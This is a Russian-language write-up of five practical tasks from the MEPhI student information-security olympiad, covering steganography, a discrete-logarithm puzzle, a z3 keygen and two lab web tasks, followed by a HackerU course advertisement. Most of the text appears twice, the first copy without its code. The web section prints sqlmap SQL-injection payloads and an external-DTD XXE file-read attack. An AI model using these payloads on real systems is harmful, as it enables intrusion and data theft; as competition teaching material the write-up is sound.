Каждый год МИФИ проводит студенческую олимпиаду по ИБ. Это очень необычное мероприятие, сильно отличающееся от привычных task-based CTF. Забавно, что олимпиада носит официальный статус и даже признана Минобром, но о ней мало кто знает. При этом ее победители и призеры имеют возможность поступить в МИФИ без экзаменов.
Если вы горите желанием размять мозги и протестить ваши знания в области инфобеза, читайте наш разбор пяти более интересных задач практического тура олимпиады.
Олимпиада разделена на два тура: теоретический и практический. Они длятся по 3 часа в один день с небольшим перерывом. Теоретический тур похож на экзамен: первое задание состоит из 5 вопросов на криптографию и криптоанализ, где требуется дать развернутый ответ. Второе задание — большой тест по безопасности информационных технологий. Пробный вариант теоретического тура представлен по ссылке.
Практический тур заключается в решении 10 относительно несложных задач, связанных с программированием, обратной разработкой ПО, эксплуатацией веб-уязвимостей, криптографией и стеганографией. При выполнении этих задач можно пользоваться собственным компьютером, но без доступа к интернету и внешним носителям информации.
Участие в этой олимпиаде — интересный опыт для любого студента-безопасника, позволяющий проверить как теоретические, так и практические знания.
Условие: Придя на место встречи в парк, вы никого не увидели, однако гуляя по одной из аллей, вы нашли заблокированный телефон со странной заставкой. Найдите пароль, зашифрованный в картинке-заставке и отправьте его на проверку через форму ниже.
Задачи на поиск стегоконтейнеров в изображениях обычно решаются в три этапа, от простого к сложному:
Для начала проверим тип файла:
Получаем метаинформацию из EXIF с помощью утилиты exiftool и находим первую часть флага в поле Creator:
Продолжаем анализировать файл с помощью утилиты binwalk:
Видим, что по смещению 0x99660 лежит Zip-архив с файлом part2.txt, а по смещению 0x9970D — png-изображение.
С помощью binwalk мы можем получить эти файлы и даже автоматически распаковать zip-архив.
9970D.png:

Собираем все части флага вместе — задание решено.
Условие: Найдите значение переменной $flag (32 символа хекса) в следующем php-скрипте, если известно, что результат работы скрипта равен 10899914993644372325321260353822561193.
Так как функция bcpowmod производит возведение числа 1511 в неизвестную степень в кольце вычетов 35948145881546650497425055363061529726, флагом является дискретный логарифм 10899914993644372325321260353822561193 по основанию 1511.
Писать скрипт для решения такой задачи с нуля долго, простой перебор тоже не поможет, поэтому лучше всего использовать свободную систему компьютерной алгебры Sage.
Запускаем Sage:
Подставляем флаг в скрипт и убеждаемся в правильности ответа:
Условие: Сгенерируйте серийный номер для своего логина и отправьте ответ на проверку в формате логин: серийный номер без пробелов.
Получаем информацию о бинарнике с помощью ExeinfoPe:

Следуем совету и распаковываем файл:
Определим использованный компилятор:

Декомпилируем функцию main и немного дорабатывае�� вывод напильником:

Алгоритм работы программы таков:
Составим систему из 16 уравнений и решим её с помощью SMT-решателя z3:
Проверяем решение:
Условия:
D: Ответ на задачу хранится в одной из баз данных забытого сервера. Найдите уязвимость на сайте и прочитайте с ее помощью ответ.
E: Ответ на задачу хранится в одном из файлов на сервере. Найдите уязвимость на сайте и прочитайте с ее помощью файл.
Веб-интерфейс забытого сервера выглядит довольно аскетично: просто текстовая форма авторизации и заголовок «Online bank system».

Брутфорсом файлов и директорий на сервере находим защищенный паролем phpmyadmin и robots.txt с подсказкой:
Изучаем исходный код страницы авторизации и видим подозрительный скрипт jquery.js
Перехватываем POST-запрос на авторизацию с помощью Burp Suite и сразу же проверяем возможность SQL-инъекции:

Чтобы автоматизировать процесс эксплуатации уязвимости сохраняем текст запроса в файл, помечаем место инъекции звездочкой и загружаем результат в sqlmap с помощью опции -r имя_файла:
Определяем доступные нам базы данных:
Получаем флаг для задачи D:

Так как текущий пользователь не является администратором БД, мы не можем читать файлы на хосте и поэтому придётся использовать другой вектор атаки. Попробуем применить атаку XML eXternal Entity.
Мы можем заставить парсер XML прочесть интересующий нас файл и использовать содержимое этого файла как URI, чтобы оно вывелось в сообщении об ошибке.
Для этого нужно создать специальный DTD-файл (Data Type Definition; определение типа данных). XML-парсер на сервере загрузит его содержимое перед обработкой основной полезной нагрузки, что и позволит использовать значение %payload как URI.
xxe.dtd:
Теперь поднимем веб-сервер с помощью python, файл xxe.dtd должен находиться в его корневой директории.
Отправим серверу запрос такого вида:

Получаем флаг для задачи E в строке с пользователем list.
P.S. Все задания практического тура олимпиады за этот и прошлые годы доступны по ссылкам:
Практический тур ВСО по ИБ 2016
Практический тур ВСО по ИБ 2017
Практический тур ВСО по ИБ 2018
Автор: Ярослав Шмелев, преподаватель курса HackerU "Специалист по информационной безопасности".
Большинство преподавателей израильской высшей школы IT и безопасности HackerU участвуют и занимают призовые места в соревнованиях и конкурсах по пентесту, веб-разработке, блокчейну. Чтобы стать победителем, недостаточно иметь только высокую мотивацию. Нужны реально полезные знания и навыки, а их получают только у лучших практиков. Если сомневаешься в будущем, хочешь научиться востребованной профессии, спроси нас. Обещаем избавить от всего лишнего и помочь тебе найти себя в мире IT.
Если вы горите желанием размять мозги и протестить ваши знания в области инфобеза, читайте наш разбор пяти более интересных задач практического тура олимпиады.
Олимпиада разделена на два тура: теоретический и практический. Они длятся по 3 часа в один день с небольшим перерывом. Теоретический тур похож на экзамен: первое задание состоит из 5 вопросов на криптографию и криптоанализ, где требуется дать развернутый ответ. Второе задание — большой тест по безопасности информационных технологий. Пробный вариант теоретического тура представлен по ссылке.
Практический тур заключается в решении 10 относительно несложных задач, связанных с программированием, обратной разработкой ПО, эксплуатацией веб-уязвимостей, криптографией и стеганографией. При выполнении этих задач можно пользоваться собственным компьютером, но без доступа к интернету и внешним носителям информации.
Участие в этой олимпиаде — интересный опыт для любого студента-безопасника, позволяющий проверить как теоретические, так и практические знания.
Задача H, 2018 год
Условие: Придя на место встречи в парк, вы никого не увидели, однако гуляя по одной из аллей, вы нашли заблокированный телефон со странной заставкой. Найдите пароль, зашифрованный в картинке-заставке и отправьте его на проверку через форму ниже.
Картинка

Задачи на поиск стегоконтейнеров в изображениях обычно решаются в три этапа, от простого к сложному:
- Проверка метаинформации: EXIF для jpeg, IDF для png
- Проверка структуры: поиск ascii-строк, поиск добавленных в конец изображения других файлов
- Анализ самого изображения: проверка соответствия заголовка данным, изменение color map, перебор LSB\MSB
Для начала проверим тип файла:
$ file H.jpg H.jpg: JPEG image data, JFIF standard 1.02, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=8, datetime=2009:03:12 13:48:39], baseline, precision 8, 1024x768, frames 3
Получаем метаинформацию из EXIF с помощью утилиты exiftool и находим первую часть флага в поле Creator:
$ exiftool H.jpg | grep Creator Creator : part1 - 2b33f7c863ef8b
Продолжаем анализировать файл с помощью утилиты binwalk:
$ binwalk H.jpg | grep -v 'Unix path' DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.02 46 0x2E TIFF image data, big-endian, offset of first image directory: 8 628320 0x99660 Zip archive data, at least v2.0 to extract, compressed size: 21, uncompressed size: 19, name: part2.txt 628471 0x996F7 End of Zip archive 628493 0x9970D PNG image, 385 x 338, 8-bit/color RGBA, non-interlaced 628584 0x99768 Zlib compressed data, compressed
Видим, что по смещению 0x99660 лежит Zip-архив с файлом part2.txt, а по смещению 0x9970D — png-изображение.
С помощью binwalk мы можем получить эти файлы и даже автоматически распаковать zip-архив.
$ binwalk -D 'zip archive:zip:unzip %e' -D 'png image:png' H.jpg $ cd _H.jpg.extracted $ ls 99660.zip 996F7.zip 9970D.png 99768 99768.zlib part2.txt $ cat part2.txt part 2 - 6b9efd1b89
9970D.png:

Собираем все части флага вместе — задание решено.
Задача A, 2016 год
Условие: Найдите значение переменной $flag (32 символа хекса) в следующем php-скрипте, если известно, что результат работы скрипта равен 10899914993644372325321260353822561193.
<?php $n = "35948145881546650497425055363061529726"; $flag = "... 32 hex chars ..."; // find the flag $x = bchexdec($flag); echo bcpowmod(1511, $x, $n); function bchexdec($dec) { $res = 0; $mn = 1; $l = strlen($dec); for($i=0;$i<$l;$i++) { $res = bcadd($res, bcmul($mn, hexdec($dec[$l-$i-1]))); $mn = bcmul($mn, 16); } return $res; } ?>
Так как функция bcpowmod производит возведение числа 1511 в неизвестную степень в кольце вычетов 35948145881546650497425055363061529726, флагом является дискретный логарифм 10899914993644372325321260353822561193 по основанию 1511.
Писать скрипт для решения такой задачи с нуля долго, простой перебор тоже не поможет, поэтому лучше всего использовать свободную систему компьютерной алгебры Sage.
#!/usr/bin/sage from sage.all import * R = IntegerModRing(35948145881546650497425055363061529726) y = 10899914993644372325321260353822561193 g = 1511 x = discrete_log(R(y), R(g)) print("Flag is: " + hex(x))
Запускаем Sage:
$ sage solve.py Flag is: 1203ca52964b15cd12887d920d229
Подставляем флаг в скрипт и убеждаемся в правильности ответа:
% php A.php 10899914993644372325321260353822561193
Задача C, 2016 год
Условие: Сгенерируйте серийный номер для своего логина и отправьте ответ на проверку в формате логин: серийный номер без пробелов.
Получаем информацию о бинарнике с помощью ExeinfoPe:

Следуем совету и распаковываем файл:
$ upx -d auth_x32.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2013 UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013 File size Ratio Format Name -------------------- ------ ----------- ----------- 1427267 <- 807235 56.56% win32/pe auth_x32.exe Unpacked 1 file.
Определим использованный компилятор:

Декомпилируем функцию main и немного дорабатывае�� вывод напильником:

Алгоритм работы программы таков:
- Через аргументы командной строки на вход подаётся логин пользователя и 32-символьный ключ в hex-формате.
- Ключ из hex преобразуется в бинарный вид и побайтово ксорится с логином.
- Затем каждый из элементов получившейся последовательности преобразуется по формуле:
key[k] = 2 * key[(k + 1) & 0xF] | (key[k] >> 7) ^ key[k] - Результат преобразования с помощью функции memcmp сравнивается с байтовой строкой correct_key. Её полное значение — 1136CB46FFF370685D41C348CCAD6EC7
Составим систему из 16 уравнений и решим её с помощью SMT-решателя z3:
#!/usr/bin/env python from z3 import * import binascii # Вводим константы hardcode = [0x11, 0x36, 0xCB, 0x46, 0xFF, 0xF3, 0x70, 0x68, 0x5D, 0x41, 0xC3, 0x48, 0xCC, 0xAD, 0x6E, 0xC7] username = "hummelchen" ulen = len(username) # Вводим неизвестные key = [BitVec('k[{}]'.format(x), 8) for x in range(0,16)] s = Solver() # Задаем систему уравнений for k in range(0, 16): s.add(hardcode[k] == (2 * key[(k + 1) & 0xF] | LShR(key[k], 7)) ^ key[k]) # Проверяем, есть ли решение if s.check() != 'sat': print('Cannot solve this system') return model = s.model() serial = "" # Выводим серийный номер для указанного логина for i in range(0, 16): h = model.evaluate(key[i]).as_long() serial += chr(h ^ ord(username[i % ulen])) print(binascii.hexlify(serial))
Проверяем решение:
$ auth_x32.exe hummelchen 094d6a0bf55b01e195b823316b080169 Correct
Задачи D и E, 2016 год
Условия:
D: Ответ на задачу хранится в одной из баз данных забытого сервера. Найдите уязвимость на сайте и прочитайте с ее помощью ответ.
E: Ответ на задачу хранится в одном из файлов на сервере. Найдите уязвимость на сайте и прочитайте с ее помощью файл.
Веб-интерфейс забытого сервера выглядит довольно аскетично: просто текстовая форма авторизации и заголовок «Online bank system».

Брутфорсом файлов и директорий на сервере находим защищенный паролем phpmyadmin и robots.txt с подсказкой:
$ python3 ./dirsearch.py -u http://192.168.56.11/ --exclude-status=403 -e txt Target: http://192.168.56.11/ [19:52:31] Starting: [19:52:37] 200 - 453B - /index.php [19:52:37] 200 - 453B - /index.php/login/ [19:52:37] 301 - 318B - /javascript -> http://192.168.56.11/javascript/ [19:52:38] 301 - 318B - /phpmyadmin -> http://192.168.56.11/phpmyadmin/ [19:52:39] 200 - 8KB - /phpmyadmin/ [19:52:39] 200 - 55B - /robots.txt Task Completed $ curl http://192.168.56.11/robots.txt I think js filter is 100% safe for checking user data
Изучаем исходный код страницы авторизации и видим подозрительный скрипт jquery.js
function login() { var user = $("#user").val(); var pass = $("#pass").val(); for(i=0;i<user.length;i++) if (user.charCodeAt(i) < 0x61 || user.charCodeAt(i) > 0x7a) { resp("Invalid user format"); return false; } for(i=0;i<pass.length;i++) if (pass.charCodeAt(i) < 0x61 || pass.charCodeAt(i) > 0x7a) { resp("Invalid pass format"); return false; } var auth = "<auth><user>"+user+"</user><pass>"+pass+"</pass></auth>"; $.post("/ajax.php", {"auth": auth}, resp); } function resp(data) { $("#info").html('<font color="red">'+data+'</font>'); }
Перехватываем POST-запрос на авторизацию с помощью Burp Suite и сразу же проверяем возможность SQL-инъекции:

Чтобы автоматизировать процесс эксплуатации уязвимости сохраняем текст запроса в файл, помечаем место инъекции звездочкой и загружаем результат в sqlmap с помощью опции -r имя_файла:
auth=<auth><user>admin</user><pass>*</pass></auth>
Найденные уязвимости
Parameter: #1* ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT) Payload: auth=<auth><user>admin</user><pass>' OR NOT 9081=9081#</pass></auth> Type: error-based Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) Payload: auth=<auth><user>admin</user><pass>' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170787871,(SELECT (ELT(7559=7559,1))),0x7170707a71,0x78))s), 8446744073709551610, 8446744073709551610)))-- cPnm</pass></auth> Type: AND/OR time-based blind Title: MySQL <= 5.0.11 AND time-based blind (heavy query) Payload: auth=<auth><user>admin</user><pass>' AND 7893=BENCHMARK(5000000,MD5(0x585a6178))-- sWuO</pass></auth> Type: UNION query Title: MySQL UNION query (NULL) - 1 column Payload: auth=<auth><user>admin</user><pass>' UNION ALL SELECT CONCAT(0x7170787871,0x61495771514b7a677663454c464c79565447794c6f4362457375535161467872446e486e4f654b53,0x7170707a71)#</pass></auth>
Определяем доступные нам базы данных:
available databases [2]: [*] information_schema [*] site
Получаем флаг для задачи D:

Так как текущий пользователь не является администратором БД, мы не можем читать файлы на хосте и поэтому придётся использовать другой вектор атаки. Попробуем применить атаку XML eXternal Entity.
Мы можем заставить парсер XML прочесть интересующий нас файл и использовать содержимое этого файла как URI, чтобы оно вывелось в сообщении об ошибке.
Для этого нужно создать специальный DTD-файл (Data Type Definition; определение типа данных). XML-парсер на сервере загрузит его содержимое перед обработкой основной полезной нагрузки, что и позволит использовать значение %payload как URI.
xxe.dtd:
<!ENTITY % err "<!ENTITY % trick SYSTEM '%payload;'>"> %err;
Теперь поднимем веб-сервер с помощью python, файл xxe.dtd должен находиться в его корневой директории.
$ python -m SimpleHTTPServer 1234
Отправим серверу запрос такого вида:

Получаем флаг для задачи E в строке с пользователем list.
P.S. Все задания практического тура олимпиады за этот и прошлые годы доступны по ссылкам:
Практический тур ВСО по ИБ 2016
Практический тур ВСО по ИБ 2017
Практический тур ВСО по ИБ 2018
Автор: Ярослав Шмелев, преподаватель курса HackerU "Специалист по информационной безопасности".
Большинство преподавателей израильской высшей школы IT и безопасности HackerU участвуют и занимают призовые места в соревнованиях и конкурсах по пентесту, веб-разработке, блокчейну. Чтобы стать победителем, недостаточно иметь только высокую мотивацию. Нужны реально полезные знания и навыки, а их получают только у лучших практиков. Если сомневаешься в будущем, хочешь научиться востребованной профессии, спроси нас. Обещаем избавить от всего лишнего и помочь тебе найти себя в мире IT.
